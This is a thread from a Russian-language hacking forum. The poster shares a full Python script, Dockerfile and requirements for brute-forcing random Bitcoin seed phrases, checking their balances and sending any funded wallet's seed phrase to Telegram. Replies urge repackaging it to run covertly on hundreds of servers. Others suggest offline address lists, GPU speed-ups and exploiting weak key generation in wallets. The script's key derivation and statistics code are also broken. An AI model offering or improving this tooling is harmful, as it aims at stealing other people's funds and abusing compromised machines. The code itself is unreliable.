• XSS.stack #1 – первый литературный журнал от юзеров форума

чекер Генерация и проверка баланса seed-фраз

sithortodox

(L3) cache
Пользователь
Регистрация
23.01.2024
Сообщения
293
Реакции
175
Давно тешу себя надеждой случайно найти кошелек с забытыми там кем-то битками)

Так вот, ковыряясь в мире криптовалют, я решил стать современным Шерлоком Холмсом и охотиться за забытыми битками, как детектив за утерянными сокровищами. Взял в руки пальто, шляпу и, конечно же, Python - великого помощника в решении самых сложных головоломок.
Мой скрипт стал настоящим асом в мире криптовалютного детективизма. Он, как настоящий шпион, генерирует фразы, ковыряется в таинственных кошельках, словно засекреченный агент. А ведь это не просто генератор фраз – это мой верный напарник в охоте за забытыми сокровищами в криптовалютных джунглях.
Этот незаметный агент, прячущийся в докере, как настоящий ниндзя, двадцать четыре часа в сутки проводит настоящее расследование. Он молча, но решительно пробегает через 20 тысяч кошельков, словно кибер-Шерлок в поисках следов забытых биткойнов.
И вот, когда все мирно спят, мой скрипт открывает свои криптоглаза и рассылает уведомления в Телеграм. "Сколько проверено, сколько найдено" - как результат успешной миссии. А еще добавил интригу: "Из какого тайного IP появился отчет?" - словно шифровальщик, покрывающий свои следы.
Он не нуждается в прокси, ведь он – мастер в обходе преград, настоящий крипто-акробат, совершающий свои прыжки по блокчейну.
И вот он, мой криптодетектив, фиксирует кошельки, в которых скрыты балансы и тайные транзакции. Это не просто кошельки, это криптоарены, в которых биткойны играют в свою лучшую игру - прятки.
Так что, пока все ищут смысл жизни, мой скрипт находит забытые биткоины. Как сказал бы крипто-Шерлок: "Элементарно, мой дорогой софт!"

Screenshot_20240129_101302.png


Python:
import mnemonic
import bitcoin
import requests
import time
import socket
from telegram.bot import Bot

bot = Bot(token="YOUR_TOKEN")
chat_id = 'YOUR_CHAT_ID'

try:
    bot.send_message(chat_id=chat_id, text="Начинаем майнить бабло)")
except requests.exceptions.RequestException as e:
    print("Error sending message to Telegram: ", e)
    # You can add any additional error handling here

address_count = 0
last_stat_time = time.time()

while address_count < 1000000:
    # Generate a random mnemonic phrase
    mnemo = mnemonic.Mnemonic("english")
    secret_phrase = mnemo.generate(strength=256)

    # Convert the mnemonic phrase to a seed
    seed = mnemonic.Mnemonic.to_seed(secret_phrase)

    # Generate the private key from seed
    priv = bitcoin.sha256(seed)

    # Generate the public key from private key
    pub = bitcoin.privtopub(priv)

    # Generate the address from public key
    address = bitcoin.pubtoaddr(pub)

    # check balance and number of transactions
    response = requests.get("https://blockchain.info/rawaddr/" + address)
    if response.status_code == 200:
        data = response.json()
        balance = data["final_balance"]
        transactions = data["n_tx"]
        print("Checking address: ", address)
        print("Balance: ", balance)
        print("Number of transactions: ", transactions)

        if balance > 0 or transactions > 0:
            with open("good.txt", "w") as f:
                f.write(address + " : " + secret_phrase)
                message = address + " : " + secret_phrase + "\n"
                bot.send_message(chat_id=chat_id, text=message)
            break
                   
    elif response.status_code == 404:
        print(f"Address {address} not found")
    else:
        print(f"Request failed with status code {response.status_code}")

    # Отправка статистики раз в 6 часов
    current_time = time.time()
    if current_time - last_stat_time > 6 * 60 * 60:
        stat_message = f"Проверено кошельков: {address_count}\n"
        empty_addresses = sum(1 for _ in range(address_count) if balance == 0 and transactions == 0)
        stat_message += f"Найдено пустых: {empty_addresses}\n"
        stat_message += f"Найдено с балансом: {address_count - empty_addresses}\n"
        stat_message += f"IP address: {socket.gethostbyname(socket.gethostname())}"
        bot.send_message(chat_id=chat_id, text=stat_message)
        last_stat_time = current_time

    time.sleep(5)
    address_count += 1

Ниже приведу содержимое Dockerfile для развертывания

Код:
FROM python:3.9

WORKDIR /app

COPY . /app

RUN pip install --no-cache-dir -r requirements.txt

CMD ["python3", "bablo.py"]

Ну и requirements.txt куда ж без него:

Код:
telegram
bitcoin
mnemonic
requests
python-telegram-bot==13.1

Закидываете все три файла на сервак и вперед, за длинным битком) Не забудьте указать токен бота и chat_id

docker build -t bablo .
docker run -d --name bablo bablo

P.S.: Да, я знаю, что многие скажут, что шансы найти кошелек с балансом стремятся к 0, но в таких ситуациях я предпочитаю Теорию вероятностей.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Шанс всегда равен 50%
Это либо случится, либо нет, третьего не дано. Вопрос лишь во времени и мощностях)
Как-то упоролся в чтение теорий и как раз таки вычитал о том, как велика вероятность, следом за тем появилась мысль крафтить кошельки. Не помню, что помешало мне тогда дописать код, но идею я забросил. Наверное каждый думал об этом и мечтал как найдет кошелек)

Дело не в "забытых" кошельках, это может быть совершенно любой кош ведь, а популярность растет.
Перепиши код под стиль скрытых майнеров, чтобы его можно было на сотни и тысячи серверов сунуть и пусть долбит.
 
Шанс всегда равен 50%
Это либо случится, либо нет, третьего не дано. Вопрос лишь во времени и мощностях)
Как-то упоролся в чтение теорий и как раз таки вычитал о том, как велика вероятность, следом за тем появилась мысль крафтить кошельки. Не помню, что помешало мне тогда дописать код, но идею я забросил. Наверное каждый думал об этом и мечтал как найдет кошелек)

Дело не в "забытых" кошельках, это может быть совершенно любой кош ведь, а популярность растет.
Перепиши код под стиль скрытых майнеров, чтобы его можно было на сотни и тысячи серверов сунуть и пусть долбит.
Ну прям кнопка "бабло" получается)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну прям кнопка "бабло" получается)
Это врядли
Все положено на удачу, даже при условии что у тебя 2к машин генерируют по 20к кошельков в сутки.
Но шанс пропорционально растет в след за мощностями.
 
Это врядли
Все положено на удачу, даже при условии что у тебя 2к машин генерируют по 20к кошельков в сутки.
Но шанс пропорционально растет в след за мощностями.
В любом случае, я много таких софтов видел, но вот новости что получилось что-то найти - нет
На счет распространения в скрытом режиме, не думаю что это будет лучшей идеей. При компиляции файл будет весить дичашие размеры
Мне кажется софт больше как развелечение
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В любом случае, я много таких софтов видел, но вот новости что получилось что-то найти - нет
На счет распространения в скрытом режиме, не думаю что это будет лучшей идеей. При компиляции файл будет весить дичашие размеры
Мне кажется софт больше как развелечение
да, пока он на такой стадии, конечно же это рулетка с нулевым шансом)
 
Шанс всегда равен 50%
шанс пропорционально растет
это рулетка с нулевым шансом)
редкостная бредятина ©Whisper

Не помню, что помешало мне тогда дописать код
вероятно это был недостаток знаний, нужно читать книги и слушать старших))
 
Парочку замечаний, тс доработай чуть:
  1. Нет обработки ошибок при генерации кошельков и запросах к API. Например, может возникнуть ошибка ConnectionError. Нужно добавить блоки try/except.
  2. Код sending сообщений в Telegram вынесен в начало скрипта. Лучше отправлять сообщения непосредственно при нахождении нужного адреса.
  3. Нет timeout на запросы к API. Если сервер не отвечает, скрипт может зависнуть.
  4. При нахождении адреса с балансом скрипт полностью останавливается. Лучше продолжи поиски дальше.
  5. Статистика отправляется каждые 6 часов. Используй schedule вместо time.sleep.
  6. Отсутствует логирование. Нет возможности отслеживать работу скрипта, если он запущен в фоновом режиме. (не страшно)
  7. Код не разделен на функции. Одна большая конструкция while затрудняет понимание и тестирование.
  8. Используются "магические числа" (числовые значения, встречающиеся в коде, но при этом неочевидно, что они означают) вроде 6 * 60 * 60. Лучше выносить такие константы в переменные в начале файла.
В целом, код работает. Но очень мало всего, добавь того, что реально будет выделять проект из массы (того же гитхаба). Но почему то чувствую, что стиль твоего текста и, скорее всего код был написан wormgpt от этого промпта https://xss.pro/threads/102915 (камон, только этот промпт отвечает "стихами", или у нас тс новый Пушкин?)
 
Последнее редактирование:
Парочку замечаний, тс доработай чуть:
  1. Нет обработки ошибок при генерации кошельков и запросах к API. Например, может возникнуть ошибка ConnectionError. Нужно добавить блоки try/except.
  2. Код sending сообщений в Telegram вынесен в начало скрипта. Лучше отправлять сообщения непосредственно при нахождении нужного адреса.
  3. Нет timeout на запросы к API. Если сервер не отвечает, скрипт может зависнуть.
  4. При нахождении адреса с балансом скрипт полностью останавливается. Лучше продолжи поиски дальше.
  5. Статистика отправляется каждые 6 часов. Используй schedule вместо time.sleep.
  6. Отсутствует логирование. Нет возможности отслеживать работу скрипта, если он запущен в фоновом режиме. (не страшно)
  7. Код не разделен на функции. Одна большая конструкция while затрудняет понимание и тестирование.
  8. Используются "магические числа" (числовые значения, встречающиеся в коде, но при этом неочевидно, что они означают) вроде 6 * 60 * 60. Лучше выносить такие константы в переменные в начале файла.
В целом, код работает. Но очень мало всего, добавь того, что реально будет выделять проект из массы (того же гитхаба). Но почему то чувствую, что стиль твоего текста и, скорее всего код был написан wormgpt от этого промпта https://xss.pro/threads/102915 (камон, только этот промпт отвечает "стихами", или у нас тс новый Пушкин?)
Что за WormGPT? расскажешь? Инересно
 
Не хочу печалить энтузиастов, но я тоже верю в вероятность, а еще в математику.
А математика тут мягко говоря не на стороне питонистов.
проблема что все кто рвутся брутфорсить не читали blue и white papers самого же битка по генерации ключей)
коротко и ООООЧЕНЬ упрощенно:
- приватный ключ - это точка на экспоненциальном графике
- чтобы избежать как раз подборов, точки начинаются не с 0, а с огроменного значения и заканчиваются не менее огромным (график бесконечен, но тут его как бы обрубают)
- чтобы избежать проблем с вычислениями, все области графика перенесены в положительную четверть и график теперь не совсем график, а, скорее, множество точек в диапазоне: от дохрена до дохрена + еще больше
- количество точек в этом множестве: 2 в степени 244 - что в несколько раз больше чем атомов во вселенной
- перебор затрудняет тот факт, что приватник - это точка, а адрес - это еще несколько мат операций на этой точкой, по этому не получится пробежать по всем точкам быстро, над каждой надо произвести манипуляции чтобы удостовериться. что отнимет драгоценные доли секунды
- перебирая по 1 миллиону в секунду этих точек, нужно около 1млн лет чтобы пройти по всему множеству (вроде бы столько было, не уверен на 100%, но машстаб трагедии эти цифры дают понять)
- если у вас лист из нескольких адресов для сравнения, вам потребуется еще пара мили-микро-пика-секунд для этой операции, что еще сильнее снизит скорость перебора

подитожу:
в целом можно лет за 5 пройти весь диапазон на 200-300 видеокартах RTX3080, только такой риг еще собрать надо, с учетом теплоотвода и тд и тп.
И соклько он будет кушать элеткро-энергии - считайте сами)

То есть вероятность найти такие кошельки есть, просто не на домашнем компе с питоном вместо CUDA)

П.с: альтернативой может быть поиск уязвимостей в алгоритмах генерации ключей: тк там рандомизацию частенько делают не полноценную, а, например зависимую от timestamp'a (привет трастваллету) или еще как-нибудь убогенько. Но это надо читать сорцы)
 
Последнее редактирование:
Парочку замечаний, тс доработай чуть:
  1. Нет обработки ошибок при генерации кошельков и запросах к API. Например, может возникнуть ошибка ConnectionError. Нужно добавить блоки try/except.
  2. Код sending сообщений в Telegram вынесен в начало скрипта. Лучше отправлять сообщения непосредственно при нахождении нужного адреса.
  3. Нет timeout на запросы к API. Если сервер не отвечает, скрипт может зависнуть.
  4. При нахождении адреса с балансом скрипт полностью останавливается. Лучше продолжи поиски дальше.
  5. Статистика отправляется каждые 6 часов. Используй schedule вместо time.sleep.
  6. Отсутствует логирование. Нет возможности отслеживать работу скрипта, если он запущен в фоновом режиме. (не страшно)
  7. Код не разделен на функции. Одна большая конструкция while затрудняет понимание и тестирование.
  8. Используются "магические числа" (числовые значения, встречающиеся в коде, но при этом неочевидно, что они означают) вроде 6 * 60 * 60. Лучше выносить такие константы в переменные в начале файла.
В целом, код работает. Но очень мало всего, добавь того, что реально будет выделять проект из массы (того же гитхаба). Но почему то чувствую, что стиль твоего текста и, скорее всего код был написан wormgpt от этого промпта https://xss.pro/threads/102915 (камон, только этот промпт отвечает "стихами", или у нас тс новый Пушкин?)
Благодарю за замечания. Будет время - дошаманю. Текст изначально был мой, но потом для художественного слога был подвергнут рерайту с помощью ChatGPT, а вот про код ты зря.
 
твоя задумка крайне не эффективная:
- python довольно медленный, выбери что-то быстреее
- проверка баланса по api крайне медленная, советую использовать заранее загруженный файл кошельков http://addresses.loyce.club/?C=M;O=D
- генерация идет на cpu, используй gpu
 
твоя задумка крайне не эффективная:
- python довольно медленный, выбери что-то быстреее
- проверка баланса по api крайне медленная, советую использовать заранее загруженный файл кошельков http://addresses.loyce.club/?C=M;O=D
- генерация идет на cpu, используй gpu
И сделать нормальный поиск по файлу, чтобы не запускать поиск по 1,5гб с каждым адресом, а то api станет актуальней :D
 
iirc a 12 word mnemonic represents the seed which has ~136bits of entropy, its is reduced to 128 iirc because part is a checksum. this is like a million years kinda territory, if it was AES and you had 'hashrate' of every mining rig out there... i wouldn't invest too much time in this approach.

If I had to do something like this - I would grab the blockchain and extract all known addresses with balance (perhaps refine it so you have only high value).

Once you have your address database (http://addresses.loyce.club ty haxking!), bip32 address generation is deterministic, see here
1706669433689.png


Scared yet? Look here: https://bitaps.com/bip32
So you could perform the attack offline; generate your 12 word see phrase, generate X addresses derived from it, and then compare them to you address DB. you'll still need a few eons spare and this is assuming you dont make some small error (I refer you again to the illustration above.) - perhaps one of your seeds will generate one of the addresses you have on file. Ultimately you're just raising your hashrate, maybe shave a few hundred years off - and (not an expert) im don't think GPU/FPGA are are designed to work a you describe.

this is is exactly what haxking said ^^ but the man is a master of brevity.

good writeup though - keep at it!

Just for kicks

Its a very compelling concept, your idea pretty much,,very attractive - and once you get into his panel you'll see he's doing 3-5k USD / week easy... have a look, real you think?
 
Последнее редактирование:
Не стоит тратить на это время, процент того что что-то попадется ничтожно мал, не составляет даже 0.0000001%
количество возможных адресов составляет порядка 2^160
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет я и сам уже несколько лет продумываю как лучше сделать генерацию приватных ключей и сидок у меня только одна проблема это чекать на баланс без лимита, а прокси прикручивать такое себе
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх